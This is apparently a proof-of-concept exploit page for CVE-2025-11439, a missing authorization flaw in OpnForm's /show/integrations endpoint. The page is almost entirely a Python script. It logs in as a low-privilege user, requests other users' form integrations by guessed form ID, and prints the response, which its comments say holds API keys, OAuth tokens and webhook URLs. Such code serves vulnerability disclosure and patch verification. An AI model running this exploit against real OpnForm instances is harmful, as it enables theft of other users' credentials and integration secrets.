CVE-2025-11439：JhumanJ OpnForm 集成页面缺失授权漏洞

# CVE-2025-11439 PoC - OpnForm Missing Authorization in /show/integrations # Vulnerability: Broken Access Control - Missing Authorization Check # Affected: JhumanJ OpnForm <= 1.9.3 import requests TARGET_URL = "http://target-opnform-instance.com" # Attacker credentials (low privilege account) ATTACKER_EMAIL = "[email protected]" ATTACKER_PASSWORD = "password123" # Target form/integration ID (can be enumerated or guessed) TARGET_FORM_ID = 1 # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "email": ATTACKER_EMAIL, "password": ATTACKER_PASSWORD } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Access the vulnerable endpoint without proper authorization # The /show/integrations endpoint fails to verify resource ownership vuln_url = f"{TARGET_URL}/show/integrations" params = {"form_id": TARGET_FORM_ID} response = session.get(vuln_url, params=params) print(f"[*] Vulnerable endpoint response status: {response.status_code}") print(f"[*] Response body:\n{response.text}") # Step 3: Extract sensitive integration data (API keys, webhook URLs, etc.) if response.status_code == 200: print("[+] Successfully accessed unauthorized integration data!") # Parse and extract sensitive information from response # Such as: API keys, OAuth tokens, webhook URLs, third-party service credentials else: print("[-] Exploit failed or target is patched.")